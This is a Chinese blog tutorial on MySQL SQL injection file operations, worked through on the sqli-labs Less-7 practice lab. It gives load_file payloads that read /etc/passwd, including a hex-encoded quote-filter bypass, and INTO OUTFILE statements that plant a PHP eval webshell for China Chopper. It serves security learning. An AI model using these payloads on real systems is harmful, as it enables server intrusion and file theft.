⑧Mysql导入导出相关操作

mysql导入导出操作

load_file() 函数读文件操作

load_file(file_name)函数的作用是读取磁盘文件,并返回该文件的内容作为一个字符串。

load_file(file_name)函数使用条件:

  • 必须有权限读取并且文件必须完全可读。
    • and (select count(*) from mysql.user)>0/* 如果结果返回正常,说明具有读写权限。
    • and (select count(*) from mysql.user)>0/* 返回错误,应该是管理员给数据库帐户降权。
  • 欲读取文件必须在服务器上。
  • 必须指定文件完整的路径。
  • 欲读取文件必须小于 max_allowed_packet

如果上述任何一个条件不满足,函数返回空null。

上述四个条件中,最难满足的就是权限这一条件。

SQL语句如下:

union select 1 , load_file('/etc/passwd') , 3 , 4 , 5 , 6 %23

如果程序防注入语句不允许出现单引号,可以使用以下语句绕过:

union select 1 , load_file(0x2F6563742F706173737764) , 3 , 4 , 5 , 6 %23

0x2F6563742F706173737764是/etc/passwd的十六进制转换的结果。

into outfile写文件操作

load_file()函数一样,into outfile可以向磁盘写入文件。

select something into outfile 'file_name'

要求如下:

  • file_name文件被创建到服务器主机上,因此我们必须拥有 FILE权限。
  • file_name 文件不能是一个已经存在的文件,且文件路径必须是一个全路径名称。

写入文件:

select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'

select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'

select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”

Less-7

我们以less-7为例来学习mysql文件导入导出操作。

Less-7比较特殊,首先我们查看源码。

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

所以我们需要对对 id 参数进行了 ‘))的处理。

之前的ORDER BY NUMUNION 等操作我们这里就不做介绍了。

我们直接执行into outfile写文件操作。

这里写图片描述

如图所示,我们成功在磁盘下创建了xiong.txt文件。

我们写入了一句话木马在文件中,然后直接连接菜刀即可。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值